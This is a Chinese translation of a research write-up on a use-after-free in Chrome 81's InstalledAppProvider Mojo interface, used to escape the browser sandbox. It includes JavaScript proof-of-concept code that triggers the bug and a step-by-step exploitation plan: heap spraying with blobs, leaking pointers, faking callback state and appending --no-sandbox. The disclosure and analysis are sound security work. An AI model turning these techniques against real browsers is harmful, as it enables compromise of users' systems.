利用 Mojo IPC 的 UAF 漏洞逃逸 Chrome 瀏覽器沙箱
0x01 分析背景
我的目標是使不熟悉Chrome瀏覽器開發(fā)的人可以看懂這個帖子,因此,我將從了解Chrome的安全架構(gòu)和IPC設(shè)計開始。請注意,此部分的所有內(nèi)容也適用于基于Chromium的Edge,默認情況下已于2020年1月15日發(fā)布。
Chrome 架構(gòu)
Chrome安全體系結(jié)構(gòu)的關(guān)鍵支柱是沙箱。Chrome將網(wǎng)絡(luò)的大部分攻擊面(例如DOM渲染,腳本執(zhí)行,媒體解碼等)限制為沙盒進程。有一個中央進程,稱為瀏覽器進程,它不在沙盒中運行。這個圖表,顯示了每個進程中的攻擊面以及它們之間的各種通信通道。
https://docs.google.com/drawings/d/1TuECFL9K7J5q5UePJLC-YH3satvb1RrjLRH-tW_VKeE/edit
除了沙盒功能外,Chrome還實現(xiàn)了站點隔離,可確保來自不同來源的數(shù)據(jù)在不同的沙盒流程中進行存儲和處理。這樣做的結(jié)果是,破壞沙盒進程甚至不應(yīng)允許攻擊者泄漏用戶瀏覽數(shù)據(jù)的其他來源。
這種架構(gòu)的結(jié)果是,大多數(shù)Chrome漏洞利用程序都需要兩個或多個漏洞:至少一個要在沙盒進程(通常是渲染器進程)中執(zhí)行代碼,而至少一個要逃逸沙盒。
我將要研究的漏洞允許受損的渲染器進程逃逸沙箱。
Mojo IPC
Chrome進程通過兩種IPC機制相互通信:舊版IPC和Mojo。舊版IPC即將淘汰,支持Mojo,并且與該bug的討論無關(guān),因此我僅關(guān)注Mojo。
引用Mojo文檔,Mojo是運行時庫的集合,這些運行時庫提供了與平臺無關(guān)的通用IPC原語抽象,消息IDL格式以及具有用于多種目標語言的代碼生成功能的綁定庫,以方便跨任意進程間和進程內(nèi)邊界傳遞方便的消息。
漏洞代碼的Mojo接口定義:
- // Represents a system application related to a particular web app.
- // See: https://www.w3.org/TR/appmanifest/#dfn-application-object
- struct RelatedApplication {
- string platform;
- // TODO(mgiuca): Change to url.mojom.Url (requires changing
- // WebRelatedApplication as well).
- string? url;
- string? id;
- string? version;
- };
- // Mojo service for the getInstalledRelatedApps implementation.
- // The browser process implements this service and receives calls from
- // renderers to resolve calls to navigator.getInstalledRelatedApps().
- interface InstalledAppProvider {
- // Filters |relatedApps|, keeping only those which are both installed on the
- // user's system, and related to the web origin of the requesting page.
- // Also appends the app version to the filtered apps.
- FilterInstalledApps(array related_apps, url.mojom.Url manifest_url)
- => (array installed_apps);
- };
在Chrome構(gòu)建過程中,此接口定義將轉(zhuǎn)換為每種目標語言(例如C ++,Java甚至JavaScript)的接口和代理對象。這個特定的接口最初僅在使用Java Mojo綁定的Android上實現(xiàn),但是最近對Windows的支持在C ++中實現(xiàn)。我的利用將使用JavaScript綁定(在受損的渲染器進程中運行)調(diào)用此C ++實現(xiàn)(在瀏覽器進程中運行)。
此接口定義一種方法FilterInstalledApps。默認情況下,所有方法都是異步的(有一個[Sync]屬性可以覆蓋此默認值)。在生成的C ++接口中,這意味著該方法采用一個額外的參數(shù),該參數(shù)是要使用結(jié)果調(diào)用的回調(diào)。在JavaScript中,該函數(shù)將返回一個Promise。
了解一些Mojo術(shù)語將有助于閱讀本文后面的代碼。請注意,Mojo最近更改了這些名稱,但是尚未遷移所有代碼和文檔,因此我將在必要時提供兩個名稱。另外,其中一些類型在Mojo接口上是通用的,但我僅引用InstalledAppProvider的類型。
· A是通過 MessagePipe發(fā)送Mojo消息的通道。消息包括方法調(diào)用及其回復。
· A Remote
· A PendingReceiver
· A SelfOwnedReceiver
關(guān)于Mojo,還有很多其他可以說的,但是對于這篇文章來說,這是沒有必要的。有關(guān)更多詳細信息,建議你瀏覽docs。
https://chromium.googlesource.com/chromium/src.git/+/master/mojo/README.md
RenderFrameHost和Frame-Bound
渲染器進程中的每個框架(例如主框架或iframe)都由瀏覽器進程中的RenderFrameHost來支持。請注意,一個渲染器進程可能包含多個幀,前提是它們都來自同一原點。瀏覽器提供的許多Mojo界面都是通過RenderFrameHost獲取的。
在RenderFrameHost初始化期間,BinderMap為每個暴露的Mojo接口填充一個回調(diào):
- void PopulateFrameBinders(RenderFrameHostImpl* host,
- service_manager::BinderMap* map) {
- ...
- map->Add(
- base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
- base::Unretained(host)));
- ...
- }
當渲染器框架請求接口時,BinderMap中的相應(yīng)回調(diào)將被調(diào)用并傳遞PendingReceiver:
- void RenderFrameHostImpl::CreateInstalledAppProvider(
- mojo::PendingReceiver receiver) {
- InstalledAppProviderImpl::Create(this, std::move(receiver));
- }
- // static
- void InstalledAppProviderImpl::Create(
- RenderFrameHost* host,
- mojo::PendingReceiver receiver) {
- mojo::MakeSelfOwnedReceiver(std::make_unique(host),
- std::move(receiver));
- }
在這種情況下,將創(chuàng)建一個新對象InstalledAppProviderImpl,并且將PendingReceiver與SelfOwnedReceiver綁定。
0x02 漏洞分析
如上面描述的那樣,SelfOwnedReceiver保持unique_ptr到InstalledAppProviderImpl,這意味著Impl將保持active,只要底層MessagePipe連接的停留。此外,InstalledAppProviderImpl包含指向RenderFrameHost的原始指針:
- InstalledAppProviderImpl::InstalledAppProviderImpl(
- RenderFrameHost* render_frame_host)
- : render_frame_host_(render_frame_host) {
- DCHECK(render_frame_host_);
- }
FilterInstalledApps調(diào)用該方法時,將在此原始指針上進行虛函數(shù)調(diào)用:
- void InstalledAppProviderImpl::FilterInstalledApps(
- std::vector related_apps,
- const GURL& manifest_url,
- FilterInstalledAppsCallback callback) {
- if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
- std::move(callback).Run(std::vector());
- return;
- }
- ...
- }
因此,如果RenderFrameHost在釋放之后調(diào)用此方法,則會發(fā)生UAF的情況。
此提交在Chrome 81.0.4041.0中引入了此漏洞。幾周后,此提交中的bug恰巧移到了命令行flag的后面。但是,此更改是在Chrome 82.0.4065.0中,因此該漏洞利用在Chrome Stable 81的所有桌面平臺上都是可以實現(xiàn)的。
0x03 漏洞利用
觸發(fā)漏洞
盡管有可能從純JavaScript觸發(fā)該漏洞,但幾乎可以肯定它不會被利用。相反,我將通過啟用MojoJS綁定(--enable-blink-features=MojoJS在Chrome命令行上使用)來模擬一個受感染的渲染器進程。這些綁定將Mojo平臺直接暴露給JavaScript,從而使我可以完全繞過Blink綁定。請注意,可以通過折衷的渲染器過程啟用這些綁定,方法是翻轉(zhuǎn)內(nèi)存中的某個位,然后創(chuàng)建一個新的JavaScript上下文,因此,我的利用代碼可以輕松地用于bug鏈中。
作為觸發(fā)該漏洞的首次嘗試,我使用了類似漏洞報告中的方法。這個想法是讓框架產(chǎn)生幾個子幀,每個子幀都將獲取InstalledAppProvider框架的一堆實例的句柄。子幀filterInstalledApps反復調(diào)用以阻塞Mojo消息管道。幾秒鐘后,最上面的框架將移除子幀,從而使后面的RenderFrameHosts被釋放。這也會在InstalledAppProvider MessagePipes 上導致連接漏洞,但是希望直到filterInstalledApps調(diào)用取消引用釋放的指針之后,才會處理連接漏洞。
https://bugs.chromium.org/p/chromium/issues/detail?id=977462
使用以下腳本創(chuàng)建頁面:
- function allocate_rfh() {
- var iframe = document.createElement("iframe");
- iframe.src = window.location + "#child"; // designate the child by hash
- document.body.appendChild(iframe);
- return iframe;
- }
- function deallocate_rfh(iframe) {
- document.body.removeChild(iframe);
- }
- if (window.location.hash == "#child") {
- var ptrs = new Array(4096).fill(null).map(() => {
- var pipe = Mojo.createMessagePipe();
- Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
- pipe.handle1);
- return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
- });
- setTimeout(() => ptrs.map((p) => {
- p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
- p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
- }), 2000);
- } else {
- var frames = new Array(4).fill(null).map(() => allocate_rfh());
- setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
- }
- setTimeout(() => window.location.reload(), 16000);
經(jīng)過幾次刷新,終于找到了漏洞:
- ==8779==ERROR: AddressSanitizer: heap-use-after-free on address 0x620000067080 at pc 0x7f1aafa73589 bp 0x7ffed99af5d0 sp 0x7ffed99af5c8
- READ of size 8 at 0x620000067080 thread T0 (chrome)
為了進行利用開發(fā),我希望對何時觸發(fā)UAF進行更多控制。如果我用本機代碼編寫漏洞利用程序,那么即使釋放了子幀,我也可以使Mojo連接保持active狀態(tài),因為這些幀在同一進程中運行。但是,理想情況下,我希望保留JavaScript。
很快發(fā)現(xiàn)了MojoJSTest綁定,該綁定為JavaScript提供了一些額外的Mojo功能。我的利用的相關(guān)函數(shù)是MojoInterfaceInterceptor,它能夠攔截Mojo.bindInterface同一進程中其他框架的調(diào)用。我可以使用它來在終結(jié)子幀之前將端點句柄傳遞給父幀。
如下:
- var kPwnInterfaceName = "pwn";
- // runs in the child frame
- function sendPtr() {
- var pipe = Mojo.createMessagePipe();
- // bind the InstalledAppProvider with the child rfh
- Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
- pipe.handle1, "context", true);
- // pass the endpoint handle to the parent frame
- Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
- }
- // runs in the parent frame
- function getFreedPtr() {
- return new Promise(function (resolve, reject) {
- var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
- // intercept bindInterface calls for this process to accept the handle from the child
- let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
- interceptor.oninterfacerequest = function(e) {
- interceptor.stop();
- // bind and return the remote
- var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
- freeRFH(frame);
- resolve(provider_ptr);
- }
- interceptor.start();
- });
- }
因此,我現(xiàn)在可以使用getFreedPtr()來獲得InstalledAppProviderPtr釋放RenderFrameHost。然后call filterInstalledApps立即觸發(fā)UAF。
修改RenderFrameHostImpl
該漏洞會在freed上調(diào)用虛函數(shù)RenderFrameHost。對于那些不了解虛函數(shù)調(diào)用的人,這篇文章可能會有所幫助。為了利用此漏洞,我希望控制釋放的對象的數(shù)據(jù)。我可以使用通常的策略在瀏覽器過程中替換釋放的對象。一句話概述就是:釋放子幀后,我創(chuàng)建了一堆blob(使用Blob API或Mojo綁定),其中包含長度受控的數(shù)據(jù)sizeof(RenderFrameHostImpl)(Chrome 81.0.4044.69上為0xc38),并且希望我的數(shù)據(jù)最終能夠替換堆中已釋放的對象。
https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/
在此漏洞利用成功率還是挺大的。原因是RenderFrameHost的對象很大,因此在該堆存儲中幾乎沒有內(nèi)存分配。在我的測試中,通常我分配的第一個Blob替換了該對象,但是為了達到良好的效果,我做了一些額外的操作。
現(xiàn)在,我面臨一個問題:用什么替換vtable指針?沒有瀏覽器進程中泄漏的堆指針,我無法將vtable指向我控制的數(shù)據(jù),因此沒有明顯的方法跳轉(zhuǎn)到任意代碼。
Windows上有一個ASLR的問題:DLL基地址不會在每次加載時隨機化。因此,渲染器進程和瀏覽器進程之間的所有共享DLL都將在相同的基地址處加載,這包括chrome.dll包含大部分Chrome代碼的120MB二進制文件。我的漏洞利用將假設(shè)我擁有此基址,對于受損的渲染器而言,這是微不足道的。
此DLL 的.rdata部分包含其中定義的每個虛擬類的vtable,通過將這些地址用作vtable指針,我可以在完全受控的對象上調(diào)用任何虛函數(shù)。
利用思路
要在瀏覽器中執(zhí)行完整的代碼,可能需要比其中可用的機器更多的設(shè)備chrome.dll(例如,來自kernel32.dll或ntdll.dll的gadget)。例如,我可以使用堆棧視圖表將數(shù)據(jù)放入我的受控數(shù)據(jù)中,并使用ROP分配一些RWX內(nèi)存,復制shellcode并執(zhí)行它。但是為了使我的漏洞利用簡單,我可以使用快捷方式。
由于我已經(jīng)有了渲染器漏洞,因此技術(shù)上我需要的是未沙盒化運行的渲染器進程。幸運的是,這要容易得多。chrome中的每個進程都有一個全局CommandLine對象,該對象保存該進程的已解析命令行開關(guān)。當瀏覽器進程創(chuàng)建一個新的子進程時,它將某些控制指令從其CommandLine子進程傳遞給子進程。一個這樣的指令是--no-sandbox,它的功能是:禁用沙箱。
chrome.dll中有一個函數(shù)使我可以輕松地將此flag附加到CommandLine對象:
- void SetCommandLineFlagsForSandboxType(base::CommandLine* command_line,
- SandboxType sandbox_type) {
- switch (sandbox_type) {
- case SandboxType::kNoSandbox:
- command_line->AppendSwitch(switches::kNoSandbox);
- break;
- ...
- }
- }
因此,在我的案例中,逃逸沙箱可以減少為使用正確的參數(shù)調(diào)用此函數(shù)。請注意,這不是虛函數(shù),并且我不知道瀏覽器CommandLine對象的地址,因此我要做一些額外工作。
避免崩潰
為了構(gòu)建更強大的原語,需要反復觸發(fā)該漏洞。同樣,以上策略要求瀏覽器在利用后仍可繼續(xù)運行,另外兩個虛函數(shù)調(diào)用:
- if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
- ...
- }
如果將調(diào)用重定向GetProcess()到其他虛函數(shù),則必須確保它返回一個可以安全地調(diào)用這兩個虛擬調(diào)用的指針。幸運的是,有一個簡單的技巧可以觸發(fā)此漏洞。我可以使第一個虛擬調(diào)用調(diào)用以下形式的虛函數(shù):
- SomeType* SomeClass::SomeMethod() {
- return &class_member_;
- }
調(diào)用這些函數(shù)之一將返回一個指針,該指針比render_frame_host_提前一個小偏移量,因此它仍然指向我的受控數(shù)據(jù)。為了方便起見,我選擇了一個返回指針的指針,該指針比this提前8個字節(jié),例如
- content::ContentClient* ChromeMainDelegate::CreateContentClient() {
- return &chrome_content_client_;
- }
對于第二個虛擬調(diào)用重復此想法,可以控制最終調(diào)用,而對其返回值沒有任何限制。這是一個流程圖:
泄漏堆數(shù)據(jù)
泄漏堆指針實際上很容易,我調(diào)用任何將結(jié)果分配并存儲為成員的虛函數(shù):
- SomeClass::SomeMethod() {
- some_member_ = new Foo();
- }
我已經(jīng)用Blob 替換了RenderFrameHost,因此我實際上可以要求瀏覽器將內(nèi)容發(fā)送回給我!當我這樣做時,我可以在其中找到堆指針。
一旦有了堆指針,就可以使用堆噴將受控數(shù)據(jù)放置在可猜測的地址處。注意:在我的實際利用中,我使用了一些額外的gadget來查找原始被釋放對象RenderFrameHost的精確地址,但這并不是完全必要的。
任意調(diào)用
我希望將任意虛擬調(diào)用轉(zhuǎn)換為對任何函數(shù)的任意調(diào)用。一個簡單的想法是使用堆泄漏將指向目標函數(shù)的指針放在已知(可猜測的)地址上,并將其用作我的vtable指針。這樣可以成功調(diào)用目標函數(shù),但是不幸的是參數(shù)仍然不受控制。
為了控制參數(shù),我使用另一種方法。回想一下,我在目標虛擬調(diào)用期間控制了類成員,因此我找到了一個虛函數(shù)來調(diào)用回調(diào)類成員,例如
- class FileSystemDispatcher::WriteListener
- : public mojom::blink::FileSystemOperationListener {
- public:
- ...
- void DidWrite(int64_t byte_count, bool complete) override {
- write_callback_.Run(byte_count, complete);
- }
- private:
- ...
- WriteCallback write_callback_;
- };
其中WriteCallback只是特定類型base::Callback的別名:
- using WriteCallback =
- base::RepeatingCallback;
在Chrome中,Callback對象用于存儲帶有某些綁定參數(shù)的函數(shù)指針。就內(nèi)存布局而言,它們僅包含指向BindState的指針,該指針具有以下布局:
并非所有這些域都對我都很重要。polymorphic_invoke是指向負責functor使用綁定參數(shù)調(diào)用函數(shù)(回調(diào)函數(shù))的指針。顯然polymorphic_invoke必須知道有多少綁定參數(shù)及其類型,因此我選擇一個調(diào)用程序函數(shù),該函數(shù)根據(jù)需要傳遞盡可能多的args(對于目標函數(shù),這兩個函數(shù)就足夠了)。然后,使用堆泄漏,BindState使用目標函數(shù)和參數(shù)構(gòu)建一個偽對象,并將其放置在堆中的已知地址處。現(xiàn)在,我觸發(fā)UAF來調(diào)用FileSystemDispatcher::WriteListener::DidWrite和控制BindState回調(diào)的指針。
泄漏CommandLine指針
全局CommandLine對象是在Chrome初始化期間分配的,而指針則存儲在chrome.dll的.data部分中:
- // The singleton CommandLine representing the current process's command line.
- static CommandLine* current_process_commandline_;
當然,有很多方法可以做到這一點。既然已經(jīng)可以調(diào)用任何函數(shù),則只需調(diào)用以下函數(shù)即可將指針復制到一個blob中,然后將其讀回。
- static
- void copy64(void* dst, const void* src)
- {
- memmove(dst, src, sizeof(cmsFloat64Number));
- }
利用總結(jié)
使用以上內(nèi)容,完整的利用方法概述:
1. 使用渲染器漏洞來啟用MojoJS,MojoJSTest綁定并找到chrome.dll的基地址。
2. 觸發(fā)UAF將新分配存儲在Blob中,然后將其讀回以泄漏堆指針。
3. 堆噴BindStateS表示copy64(blob_ptr, current_process_commandline_),觸發(fā)UAF,并讀回命令行的指針。
4. 堆噴BindStateS表示SetCommandLineFlagsForSandboxType(cmd_line, SandboxType::kNoSandbox),并觸發(fā)UAF。
5. 生成新的渲染器過程(例如,使用iframe到其他受控原點)。
6. 再次使用渲染器漏洞利用會危害渲染器進程。
0x04 分析結(jié)論
綜上所述,此bug演示了UAF漏洞利用開發(fā)的理想條件。替換釋放的對象是高度可靠的,因為該對象位于很少使用的堆存儲中,并且通過避免競爭條件,我可以根據(jù)需要安全地觸發(fā)該漏洞多次。結(jié)果,我能夠?qū)崿F(xiàn)過程連續(xù)化,這意味著從用戶的角度來看,瀏覽器將繼續(xù)正常運行。此外,由于我僅使用來自chrome.dll的代碼gadget,該漏洞很容易適應(yīng)其他平臺,特別是Mac OS,而Mac OS也缺少進程間庫隨機化。
如果你想查看所有詳細信息,可以在漏洞報告中找到完整的利用程序。
https://bugs.chromium.org/p/chromium/issues/detail?id=1062091
本文翻譯自:https://theori.io/research/escaping-chrome-sandbox如若轉(zhuǎn)載,請注明原文地址: